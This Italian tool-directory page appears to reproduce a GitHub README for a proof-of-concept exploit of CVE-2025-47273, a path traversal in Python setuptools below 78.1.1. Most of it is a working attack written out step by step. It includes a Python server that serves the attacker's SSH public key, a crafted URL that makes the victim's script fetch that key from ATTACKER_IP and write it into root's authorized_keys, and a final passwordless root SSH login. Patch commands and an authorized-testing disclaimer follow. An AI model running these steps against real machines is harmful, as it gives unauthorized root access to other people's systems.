Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-47273-POC — CVE-2025-47273 — setuptools path traversal PoC | Kitploit
Strumenti/GitHubGitHub/alielkhatteb/cve-2025-47273-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza della Supply ChainApprendimento e Formazione
GitHubalielkhatteb/cve-2025-47273-poc

CVE-2025-47273-POC

CVE-2025-47273 — setuptools path traversal PoC

Vedi Repository
1227 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

setuptools Path Traversal CVE-2025-47273

📖 Panoramica

Proof-of-concept di exploit per una vulnerabilità di path traversal in Python setuptools < 78.1.1.

Abusando della funzione _download_url del componente PackageIndex, un attaccante può scrivere file arbitrari in qualsiasi posizione del filesystem — con i privilegi del processo che esegue setuptools.


🎯 Riepilogo della Vulnerabilità

CampoDettaglio
🎯 TargetPython setuptools < 78.1.1
🐛 Classe di BugPath Traversal (CWE-22)
💥 ImpattoScrittura arbitraria di file
📍 Vettore d'AttaccoURL di indice di pacchetto malevolo
🔍 Causa Principaleos.path.join() scarta tmpdir quando il secondo argomento inizia con /

📋 Prerequisiti

  • Python 3 su entrambe le macchine
  • Coppia di chiavi SSH già generata sull'attaccante (~/.ssh/id_rsa + id_rsa.pub)
  • Lo script target chiama setuptools PackageIndex con un URL controllato dall'utente

🚀 Utilizzo

🔧 Passo 1 — Prepara la tua chiave pubblica SSH (Macchina Attaccante)

# Copia la tua chiave pubblica nella directory corrente per servirla
cp ~/.ssh/id_rsa.pub authorized_keys

📡 Passo 2 — Avvia il server HTTP malevolo (Macchina Attaccante)

Questo server risponde a qualsiasi richiesta GET con la tua chiave pubblica — indipendentemente dal percorso. setuptools richiederà il percorso /USER/.ssh/authorized_keys ma riceverà il contenuto della tua chiave.

cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 Passo 3 — Attiva il path traversal (Macchina Vittima)

ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 Passo 4 — Accedi come root (Macchina Attaccante)

ssh root@VICTIM_IP

Nessuna password. Shell root diretta. 🔑


🔒 Patch

La versione 78.1.1 risolve il problema.

Gestore PacchettiComando
🐍 pippip install --upgrade setuptools
🐧 Debian/Ubuntusudo apt upgrade python3-setuptools
🎩 RHEL/Fedorasudo dnf upgrade python3-setuptools
🏗️ Manualesetuptools releases

📎 Riferimenti

  • 🔗 NVD — CVE-2025-47273
  • 🔗 GitHub Advisory — GHSA-5rjg-fvgr-3xxf
  • 🔗 Commit di Correzione di setuptools
  • 🔗 setuptools PoC

⚖️ Dichiarazione di non responsabilità e Termini

Questo codice Proof of Concept (PoC) è fornito esclusivamente a scopi educativi e di penetration testing autorizzato.

  • Nessun permesso è concesso per modificare, ridistribuire o utilizzare questo codice per altri scopi.
  • L'uso o la modifica non autorizzati possono essere illegali e non etici.
  • Gli autori non si assumono alcuna responsabilità per qualsiasi uso improprio o danno.
Scarica lo strumento